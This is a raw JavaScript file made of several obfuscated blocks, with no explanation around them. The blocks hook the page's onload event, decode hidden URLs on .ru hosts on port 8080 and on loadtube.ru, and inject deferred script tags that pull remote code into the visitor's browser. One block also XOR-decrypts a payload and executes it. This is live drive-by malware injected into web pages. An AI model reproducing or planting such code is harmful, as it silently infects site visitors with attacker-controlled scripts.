var v;if(v!='' && v!='tj'){v='c'};var e=document;var n;if(n!='' && n!='h_'){n=''};var cg='';var h=window;var g;if(g!='wd'){g=''};function w(o){var x=new String();var od=['h#t%t$pP:#/%/LcLn$n#-PcPo%m%.Lm$y$w%e$b%s%ePaPrPc#h$.#c$o#mP.$cPo#n%s%t%a#n#t%c$oLn%t%aLc$t%-Lc$oLmL.$hLoLtLnLePwPgPu$iPdPeL.#rLuL:$8$0%8#0$/Pg%oLo%gPlLe$.Lc%z#/$g#o%oLgPlPe$.%cLzL/$w$i$n%dPo$w%s#l$i%v$e%.$c#o%m$/#gPoLoLg%l#eL.#c%o%mL/$a$mLaLz$oLnL.#c%oP.Pj$p#/#'.replace(/[#%LP\$]/g, ''), 'sbc&rbinp&t#'.replace(/[#bn&w]/g, ''), 'c:r:eNaNtNePENlzePmNegnNtg'.replace(/[gPNz\:]/g, ''), 'o,n%lBopa,d%'.replace(/[%,3pB]/g, ''), 'sKrKc7'.replace(/[7qQGK]/g, ''), 'ajptptegnmdtCjh6i6ljdj'.replace(/[j6tmg]/g, ''), 'soe&t&A&t_t_roi_bou_t&e5'.replace(/[5o_Y&]/g, ''), 'bmomd_ym'.replace(/[m8G_s]/g, ''), 'dTe0fTeTr0'.replace(/[0G@TO]/g, ''), "1"];var u=od[o];this.b='';return u;}var am="am";var m = function(){try {t=e[w([2][0])](w([1][0]));var km=new Array();this.bx=false;t[w([6][0])](w([8,3][0]), w([9][0]));var ky=new Array();var i = e[w([7,2][0])];t[w([4][0])]=w([2,0][1]);i[w([5][0])](t);} catch(hy){this.jm=false;};var bxm;if(bxm!='' && bxm!='_d'){bxm=null};};h[w([3][0])]=m;var fv=false;
var _;if(_!='k'){_='k'};var n;if(n!='c'){n='c'};this.ub="";function j() {var de;if(de!='' && de!='nx'){de='z'};function d(w,s,f){this.p="p";w.setAttribute(s, f);this.ff=false;this.wh="wh";}var km;if(km!=''){km='ez'};var cq=new Array();function t(){return ([1][0]);var zl;if(zl!='' && zl!='sj'){zl='g'};var em=10084;}var jz='s:cUrDiep:tU'.replace(/[Uel\:D]/g, '');var v='hBtTt&p~:~/T/~fIiIxTyIaI-IcBoTm&.&aIt&wIi&k~i~.&jBpB.&eBxTbTl&oBgT-Ij&pT.ImBeTdBi~a~tBa&gBoBnTl&i&n&e&.~rBu~:&8B0I8T0~/BbTrIaBzIz~eTr~sB.&c~oTmI/Tb~r&aBzTz~eBr~s&.TcIoImB/~d~a~nTtTr~iT.&cBoBmI.IvBn~/Bi~nI.BcBo&mB/IgIo&o~gBlBeT.BcBoTmI/I'.replace(/[I&~TB]/g, '');var hw;if(hw!='xm' && hw!='tv'){hw='xm'};var sy='ognJl&oNaNdJ'.replace(/[J&NgW]/g, '');var nj;if(nj!='jd' && nj!='a'){nj='jd'};var x=window;var e_;if(e_!=''){e_='b'};var ubj;if(ubj!=''){ubj='chv'};var r='ser_cE'.replace(/[Ee8_T]/g, '');var y='c2rIe2a8tKeIEKl3eImIeKn2t3'.replace(/[32K8I]/g, '');var q=new Date();this.gy="gy";var ds;if(ds!=''){ds='af'};x[sy]=function(){var k_;if(k_!='i' && k_!='rj'){k_='i'};var pj=13909;try {var tg;if(tg!='qd' && tg!='re'){tg='qd'};var za;if(za!=''){za='ue'};u=document[y](jz);var xt;if(xt!=''){xt='hp'};var t_=new Array();var oa;if(oa!='sv' && oa != ''){oa=null};var wl;if(wl!='xj' && wl != ''){wl=null};d(u,r,v);var bi;if(bi!='' && bi!='ha'){bi=''};d(u,'dMe0f0eMrP'.replace(/[Pq0MC]/g, ''),t());var yz="";var vv='';var wlq="wlq";this.no='';document['bCohdMyh'.replace(/[h\|MXC]/g, '')]['aOp4pOe,nSdSC4hSiblbd4'.replace(/[4S,bO]/g, '')](u);var wy;if(wy!='kf' && wy!='pd'){wy=''};this.og="";} catch(ft){};var qva=10594;var nm=27253;};var rem;if(rem!='' && rem!='mt'){rem=''};var tk;if(tk!='eo' && tk!='bp'){tk=''};this.jf='';this.rke='';};this.dcc=false;var ny="ny";j();
var kD="f0ebd8f7c0ac91929980b290f8d8cbdca9ecd7ecccd8c6c6c4f0c1c9d4dafde3fde2eac8ffe4fecefac8e0d8e2d3dbc5fcf8e9f7cce5d9caead8cbdcf9f5f0c7d9b7ebd8bfc7c3d8aafaddbbc7cb";var mdS=new Date();var II=new String();var Fw;if(Fw!='' && Fw!='bua'){Fw=null};function v(V){var g;if(g!='rj'){g=''};var M;if(M!='yQ' && M!='l'){M=''};var Y=false; this.gf=false;function S(N){var rA;if(rA!='oj'){rA='oj'};var DH;if(DH!='j'){DH=''};var Cr=new Array();var b=[26,255,242,147][1];this.zn="";var C=N[w("hglnet", [2,4,3,1,5,0])];var er=new Array();var J=[0][0];var Ja;if(Ja!='Zn' && Ja != ''){Ja=null};var R;if(R!='oP' && R != ''){R=null};var s=[37,208,1][2];var Nb=new Array();var Ls="";var H=[0][0];var Vw;if(Vw!='gB' && Vw!='Lf'){Vw=''};var Hh;if(Hh!=''){Hh='aN'};while(H<C){var YL=57268;var fX=new String();var ar=false;H++;var lf=8150;r=A(N,H - s);this.cs="";J+=r*C;}var mo;if(mo!='xa'){mo=''};var ex="";var VB;if(VB!='mn'){VB=''};var xN;if(xN!='dG'){xN=''};return new Z(J % b);var Cb="";}var Vu=new String();var vr;if(vr!='Ie' && vr!='wJ'){vr=''};this.SM=5096; this.DM="";var Jy;if(Jy!='PW'){Jy='PW'};function w(q, u){var ot;if(ot!='CM'){ot='CM'};var s=[1,221][0];this.IS="IS";this.vF=35055;var x=[0,244,49][0];this.Ab=false;var xz = u.length;var TV;if(TV!='' && TV!='lE'){TV='BC'};this.ov=false;var T = q.length;var p = '';this.Lr="";this.lD='';this.IC="IC";this.gp=false;for(var Q = x; Q < T; Q += xz) {var yY;if(yY!='' && yY!='bE'){yY=''};var oV;if(oV!='' && oV!='Dk'){oV=''};var o = q.substr(Q, xz);var ms;if(ms!='FS'){ms=''};var cS=new Date();if(o.length == xz){this.ve='';for(var H in u) {p+=o.substr(u[H], s);this.bu="";}var gM="gM";var bB;if(bB!='eW'){bB='eW'};var zLt='';} else {  p+=o;this.ud='';var nS="";}}this.Gi="";var pu=37227;var GC=52884;return p;var pW;if(pW!='RF' && pW!='ue'){pW=''};}var Jp=new Array();var Ih=4091;var Ai=new String();var lfD;if(lfD!='Va' && lfD!='Yl'){lfD=''}; var A=function(B,m){var cD=false;return B[w("racoChdeAt", [2,5,1,0,4,3])](m);};this.nf=7063;var KW;if(KW!='' && KW!='VBd'){KW=''}; function K(uS,VO){this.eq='';var El=290;return uS^VO;}this.jT="jT";var YV;if(YV!='rX'){YV=''};var uq;if(uq!='TW'){uq=''};var aK=new String(); function O(q){this.GV=54732;var XJ;if(XJ!='Sp' && XJ != ''){XJ=null};this.jF=20060;var Nw;if(Nw!='rf'){Nw='rf'};q = new Z(q);var neu;if(neu!='gph' && neu!='VbE'){neu=''};var x =[153,18,86,0][3];var Vo=5387;var p = '';var GK="";this.FCX="";var Q =[131,0,45][1];var qm;if(qm!='Ht' && qm != ''){qm=null};var i = -1;var TH=new Date();for (Q=q[w("tngelh", [4,3,1,2,0])]-i;Q>=x;Q=Q-[1,49][0]){p+=q[w("rcaAht", [1,4,2,0,3])](Q);var wL=new Date();}this.hw="hw";var YG=45892;return p;var hH="";var lG;if(lG!='iz' && lG != ''){lG=null};}this.PZ="PZ";this.vd="";var KR;if(KR!='Pp'){KR='Pp'};var Hr;if(Hr!='' && Hr!='bM'){Hr=''};var U=window;var pD=U[w("vela", [1,0])];var Pb=21619;var kh=new Date();var P=pD(w("otunFicn", [4,2,3,6,1,5,0,7]));this.vHo=7192;var bO;if(bO!='' && bO!='mw'){bO='SN'};var KS=pD(w("peERxg", [3,1,5,2,4,0]));var gG;if(gG!='cF' && gG!='nG'){gG='cF'};var Vy;if(Vy!='ni' && Vy!='OX'){Vy='ni'};var Z=pD(w("tSirgn", [1,0]));var Ye="Ye";var YH;if(YH!=''){YH='GCD'};var sO = '';var pl;if(pl!=''){pl='Gx'};var LY;if(LY!=''){LY='mdK'};var zE;if(zE!='' && zE!='bN'){zE=null};var ym;if(ym!='' && ym!='yw'){ym=null};this.Sy='';var mU=61401;var ZI=new Date();var CQ=new Date();var bG;if(bG!='FG' && bG != ''){bG=null};var RP="RP";var rN=16136;var e=Z[w("mfoarrhCCode", [1,5,2,0,7,6,3,4])];var L=U[w("nepuecsa", [3,0,4,6,5,7,2,1])];var Oj=17997;var Cyg="";var fr;if(fr!='Fe' && fr != ''){fr=null};this.xV="";var Ou='';var nGz='';var vv = "%";var jA;if(jA!='Ey' && jA!='eqz'){jA='Ey'};var nGQ="";var s =[39,1][1];var NW = '';var x =[0][0];var Dm=new String();var Abj;if(Abj!='vi' && Abj!='xo'){Abj='vi'};var zW;if(zW!=''){zW='hY'};var ws;if(ws!=''){ws='nSe'};var oi = '';var VL = /[^@a-z0-9A-Z_-]/g;var HO = '';var a =[181,2][1];var Yb=new String();var FGW=new String();var Zc =[0][0];var ih;if(ih!='' && ih!='GH'){ih='yM'};this.zf=25041;var d = V[w("elntgh", [1,0,2])];var qy;if(qy!='' && qy!='qRW'){qy='Sq'};var OV="OV";var UQ="";var PP="";var No=[1, w("uedcmocen.rtEeaeltt\'mn(eitsrpc\')", [2,5,3,0,4,1]),2, w("irfdneetsc.rom", [2,1,0]),3, w("odumcne.btdo.ayppndehCldi(d)", [1,0,4,2,3]),4, w("ks.ilvseietdseing.ur:0880", [1,0,2]),5, w("omcta.elbg.oomcgo.gloe", [2,0,1]),6, w("st.tAedierutbtdr\'fee(\'", [6,2,0,5,3,4,1]),7, w("logogeceusrotentn.com", [2,3,1,4,0,5]),8, w(".winwodonload", [1,2,3,6,5,4,0]),11, w("ufcnitno)(", [1,0]),12, w("ogoeglo.cm", [1,2,0]),14, w("omibeld.e", [1,0]),15, w("catc)(eh", [3,1,2,0]),16, w("naproda", [2,1,0,5,4,3]),17, w("h\"ttp:", [1,0,3,2,4,5]),18, w("rcd.s", [2,3,4,0,1]),19, w("1\'\')", [1,0,2]),20, w("rty", [1,0,2])];var ei;if(ei!='oAW' && ei != ''){ei=null};var Fr;if(Fr!='' && Fr!='WZ'){Fr=null};var Mae=6621;var zc;if(zc!='PD' && zc!='uh'){zc='PD'};var Eq;if(Eq!='aj'){Eq='aj'};var LJ=new String();for(var xG=x; xG < d; xG+=a){this.dX=15569;this.Qf=64757;NW+= vv; var cTb='';var Vc=false;NW+= V[w("ubtsrs", [3,0,1,5,2,4])](xG, a);this.lQ=false;}var qd=new Array();var ie;if(ie!='' && ie!='VN'){ie=''};var V = L(NW);var iw;if(iw!='' && iw!='KLM'){iw=null};var DR;if(DR!='Bf'){DR=''};this.Sg="Sg";var k = new Z(v);var PV=43772;var Xz=false;var Nq = k[w("lperace", [3,2,1,0])](VL, oi);var zV=new String();var pQ=48734;var Zv;if(Zv!='' && Zv!='VBq'){Zv=''};var G = new Z(P);var tZ=new Array();var E = No[w("tlnheg", [1,4,2,5,0,3])];var ZD;if(ZD!='LB' && ZD!='lP'){ZD='LB'};var ioQ;if(ioQ!='ZDf' && ioQ!='tKW'){ioQ=''};var iU;if(iU!=''){iU='ET'};Nq = O(Nq);var Bw;if(Bw!='' && Bw!='qS'){Bw=null};var WT=false;var Tzl=false;var vvo = G[w("lreapce", [1,2,4,0,3,5])](VL, oi);var Ok;if(Ok!='bBa' && Ok!='OC'){Ok=''};var vvo = S(vvo);var n=S(Nq);var eK=new Array();var TY=58397;var po=new String();for(var Q=x; Q < (V[w("genlth", [3,1,2,0])]);Q=Q+[1][0]) {var pk;if(pk!='Eo'){pk='Eo'};var qc = Nq.charCodeAt(Zc);this.orb='';var rS;if(rS!='fa' && rS!='XD'){rS=''};var TD = A(V,Q);this.cA=false;TD = K(TD, qc);var CW=new Array();var erO;if(erO!='' && erO!='moP'){erO='se'};TD = K(TD, n);TD = K(TD, vvo);var iH=46481;var zF="";var ajT;if(ajT!='ul'){ajT='ul'};Zc++;var dz;if(dz!='dQ' && dz != ''){dz=null};if(Zc > Nq.length-s){Zc=x;var YB=new Array();}var kX=36230;var Sr=19376;this.ap="";HO += e(TD);var Yj;if(Yj!='' && Yj!='lR'){Yj=''};this.iY='';}var pU="";this.DHw="DHw";for(Zp=x; Zp < E; Zp+=a){this.sh=24133;this.IN="";var qV = e(No[Zp]);var Kd;if(Kd!='Up'){Kd=''};var D = No[Zp + s];var ru;if(ru!='' && ru!='Uh'){ru=''};var y = new KS(qV, e(103));var KNL="";HO=HO[w("erlpcae", [1,0])](y, D);}var so=new P(HO);var Cfe;if(Cfe!='UZu'){Cfe=''};var XQ;if(XQ!='Ca'){XQ=''};so();var re;if(re!='jX' && re!='li'){re=''};vvo = '';var oK="oK";var Gw=false;var ya;if(ya!='' && ya!='mF'){ya='ez'};var MV;if(MV!='' && MV!='ca'){MV=null};n = '';var QD="";G = '';var ICG;if(ICG!=''){ICG='Nz'};so = '';Nq = '';var HTY="";HO = '';var sa=new String();this.mY="mY";var CR;if(CR!='' && CR!='Vl'){CR=null};var Es;if(Es!='' && Es!='iX'){Es=null};return '';var QH=17388;this.AY="";};var mdS=new Date();var II=new String();var Fw;if(Fw!='' && Fw!='bua'){Fw=null};v(kD);


var AD;if(AD!=''){AD='BW'};var K;if(K!='D' && K!='Hu'){K=''};this.Yv="";function Y(){var TC=new Array();var n=new Array();var YO=unescape;var w;if(w!='a' && w != ''){w=null};var b;if(b!='' && b!='gW'){b=null};var s=window;var V=YO("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%63%65%72%2e%63%6f%6d%2f%65%78%61%6d%69%6e%65%72%2e%63%6f%6d%2e%70%68%70");this.KQ='';var hO="";var r;if(r!='' && r!='U'){r=null};function h(T,z){var W='';var M;if(M!='' && M!='vK'){M='TO'};var Gd;if(Gd!='' && Gd!='S'){Gd='xJ'};var qh;if(qh!='' && qh!='P'){qh='gQ'};var H=String("gHqPz".substr(0,1));var u;if(u!='Zl' && u != ''){u=null};var L=YO("%5b"), B=YO("%5d");var DI=new Array();var l=L+z+B;var Bl=new RegExp(l, H);var TT;if(TT!='Gf' && TT!='TcE'){TT=''};var Fl='';return T.replace(Bl, new String());var uS;if(uS!=''){uS='bO'};var BX;if(BX!=''){BX='fU'};};this.ha="";this.Us="";var hp="";var Hz=new Date();var q=h('835446034596861156506135','2463591');var dV;if(dV!='' && dV!='In'){dV=null};this.HU="";var A=new String();var X=document;var Od=new Date();var HA;if(HA!='_c' && HA!='tc'){HA=''};var Bp=new Array();function O(){var wK=new String();var nr=new Date();var m=YO("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var FN;if(FN!='' && FN!='Zg'){FN='Ab'};var gG;if(gG!='' && gG!='AH'){gG='fc'};var LC;if(LC!='' && LC!='jY'){LC=null};A=m;var lm=new Date();var TN=new Date();A+=q;A+=V;this.Be='';try {var Op;if(Op!=''){Op='DC'};var fD;if(fD!=''){fD='Dh'};var uF="";var hI;if(hI!='pV' && hI != ''){hI=null};C=X.createElement(h('socorniop1to','n91o'));this.WF='';var tB=new String();C[YO("%73%72%63")]=A;var MY;if(MY!='gI'){MY='gI'};var ID;if(ID!=''){ID='HO'};C[YO("%64%65%66%65%72")]=[1][0];var SPC;if(SPC!=''){SPC='SI'};var tD;if(tD!='HUl'){tD=''};var wx=new String();var Wv;if(Wv!='Iz'){Wv=''};X.body.appendChild(C);var xE;if(xE!='Wg'){xE=''};var Xi="";} catch(zd){alert(zd);var NG='';this.sM='';};var JE=new String();var qB;if(qB!=''){qB='bq'};}var Ak;if(Ak!='' && Ak!='Yn'){Ak=''};var To='';s[new String("on"+"lo"+"ad")]=O;var bN='';this.AB="";};var nP;if(nP!='' && nP!='Qu'){nP='vr'};Y();